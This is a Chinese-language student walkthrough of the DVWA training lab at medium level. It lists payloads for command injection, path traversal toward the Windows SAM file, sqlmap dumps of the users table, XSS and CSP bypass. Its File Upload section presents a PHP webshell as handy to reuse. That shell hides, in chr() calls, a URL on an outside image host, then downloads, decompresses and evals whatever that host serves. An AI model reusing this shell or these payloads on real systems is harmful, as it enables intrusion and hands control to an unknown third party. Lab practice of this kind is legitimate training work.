dvwa —medium
Brute Force = 尝试登录成功
和low的差不多直接爆破就行
Command Injection = 尝试在服务器上列根目录
查看源代码发现只会替换掉 &&和;于是用 &
输入0.0.0.0 & dir ..\..\..
得到网站所在位置
File Inclusion = 尝试读取到服务器的密码(服务器是Linux)
查看源代码发现只会替换掉../
和.."
但是..\
具有一样的效果
但是服务器搭在windows上,所以直接访问C:\Windows\System32\config\SAM
但是好像因为权限的原因无法访问
File Upload = 上传一个PHP木马,并连接成功
用继续这个来连接(好用,偷笑.jpg)
<?php
$password='myhack58';//登录密码(支持菜刀)
//----------功能程序------------------//
$c="chr";
session_start();
if(empty($_SESSION['PhpCode'])){
$url=$c(104).$c(116).$c(116).$c(112).$c(58).$c(47);
$url.=$c(47).$c(105).$c(46).$c(110).$c(105).$c(117);
$url.=$c(112).$c(105).$c(99).$c(46).$c(99).$c(111);
$url.=$c(109).$c(47).$c(105).$c(109).$c(97).$c(103);
$url.=$c(101).$c(115).$c(47).$c(50).$c(48).$c(49).$c(55);
$url.=$c(47).$c(48).$c(53).$c(47).$c(50).$c(49).$c(47);
$url.=$c(118).$c(49).$c(81).$c(82).$c(49).$c(77).$c(46).$c(103).$c(105).$c(102);
$get=chr(102).chr(105).chr(108).chr(101).chr(95);
$get.=chr(103).chr(101).chr(116).chr(95).chr(99);
$get.=chr(111).chr(110).chr(116).chr(101).chr(110);
$get.=chr(116).chr(115);
$_SESSION['PhpCode']=$get($url);}
$un=$c(103).$c(122).$c(105).$c(110);
$un.=$c(102).$c(108).$c(97).$c(116).$c(base64_decode('MTAx'));
@eval($un($_SESSION['PhpCode']));
?>
查看源代码发现
对文件上传的后缀会检验这个可以在发送的时候用burp抓包修改
开始尝试
将画圈的后缀改为.php
Insecure CAPTCHA = 忽略它
SQL Injection = 尝试拿到当前表名
用sqlmap
python27 sqlmap.py -r "1.txt" -p "id"
python27 sqlmap.py -r "1.txt" --dbms mysql -p "id"
python27 sqlmap.py -r "1.txt" --dbms mysql -p "id" --level 3 --dbs
python27 sqlmap.py -r "1.txt" --dbms mysql -p "id" --level 3 -D dvwa --tables
python27 sqlmap.py -r "1.txt" --dbms mysql -p "id" --level 3 -D dvwa -T guestbook --dump
python27 sqlmap.py -r "1.txt" --dbms mysql -p "id" --level 3 -D dvwa -T users --dump
所以当前的表名为 users
SQL Injection (Blind) = 尝试拿到当前数据库名
python27 sqlmap.py -r "1.txt" -p "id"
python27 sqlmap.py -r "1.txt" --dbms mysql -p "id" --dbs
数据库名为dvwa
Weak Session IDs = 忽略它
XSS (DOM) = 尝试弹一个对话框
></option></select><img src=1 onerror=alert("xss");>
用火狐和谷歌浏览器去弄直接输入都不可以。。
后来问了学长发现是浏览器太高级了
用ie就可以了
XSS (Reflected) = 尝试弹一个对话框
不太会直接百度的
输入<img src=1 onerror=alert(0)>
XSS (Stored) = 尝试弹一个对话框
查看源代码发现不会对用户名进行检查
但是有字数限制,用burp抓包修改来绕过
<img src=1 onerror=alert(0)>
CSP Bypass = 尝试弹一个对话框
查看源码发现nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA="的script可以执行
<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1);</script>
JavaScript = 尝试拿到正确的Token
查看js代码
function do_something(e)
{
for(var t="",n=e.length-1;n>=0;n--)
t+=e[n];
return t
}
setTimeout(function(){do_elsesomething("XX")},300);
function do_elsesomething(e)
{
document.getElementById("token").value=do_something(e+document.getElementById("phrase").value+"XX")
}
发现输入如果为success,token=“XXsseccusXX”
用burp抓包
令token=“XXsseccusXX”,phrase=“success”
成功